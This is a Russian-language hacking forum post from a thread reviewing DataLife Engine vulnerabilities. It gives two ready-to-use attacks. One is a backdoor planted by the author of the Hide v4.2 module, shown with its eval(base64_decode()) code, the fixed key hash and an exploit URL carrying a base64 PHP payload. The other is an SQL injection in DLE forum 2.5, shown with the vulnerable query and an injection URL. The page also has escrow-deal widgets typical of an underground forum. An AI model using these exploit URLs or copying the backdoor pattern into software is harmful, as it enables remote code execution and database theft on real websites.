[ Обзор уязвимостей DataLife Engine ]

#11

17.06.2010, 18:06

wildshaman

Постоянный

Регистрация: 16.04.2008

Сообщений: 889

С нами: 9510146

Репутация: 1550

Модуль Hide v.4.2 для DLE
Описание: выполнение произвольного кода (бекдор оставил автор)
Зависимость: аккаунт юзера
Файл: engine/modules/hide_news.php
Кусок кода:

PHP код:


		
			
if(md5(md5($_GET['conf_key'])) == $sets['key']){ eval(base64_decode($_GET['user_id'])); }

key записывается в конфиге после любого изменения настроек модуля в админке, причем строго указан - d5bb5b454e4310d06746d9325b1c1968

Как осуществить:
http://site.com/?newsid=XXXX&conf_key=fibona4i&user_id=cGhwaW5mbyg pOw==
Где XXX - айди существующей новости, а user_id - забейсенный php код (в данном случае пхпинфо)

DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:

PHP код:


		
			
if (intval($tid))

$row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid");

Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]

Последний раз редактировалось Ctacok; 17.06.2010 в 19:00..

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

[ Обзор уязвимостей WordPress ]

ettee

Веб-уязвимости

383

23.11.2019 05:00

Обзор уязвимостей в платных CMS

ZAMUT

Веб-уязвимости

03.12.2017 01:35

DataLife Engine v.6.5. Null

Student :)

ПО для Web разработчика

23.02.2008 15:36

[ Обзор уязвимостей miniBB ]

-=lebed=-

Уязвимости CMS / форумов

12.01.2008 20:57

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

Внести депозит

Депозит создан

Вывести депозит

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL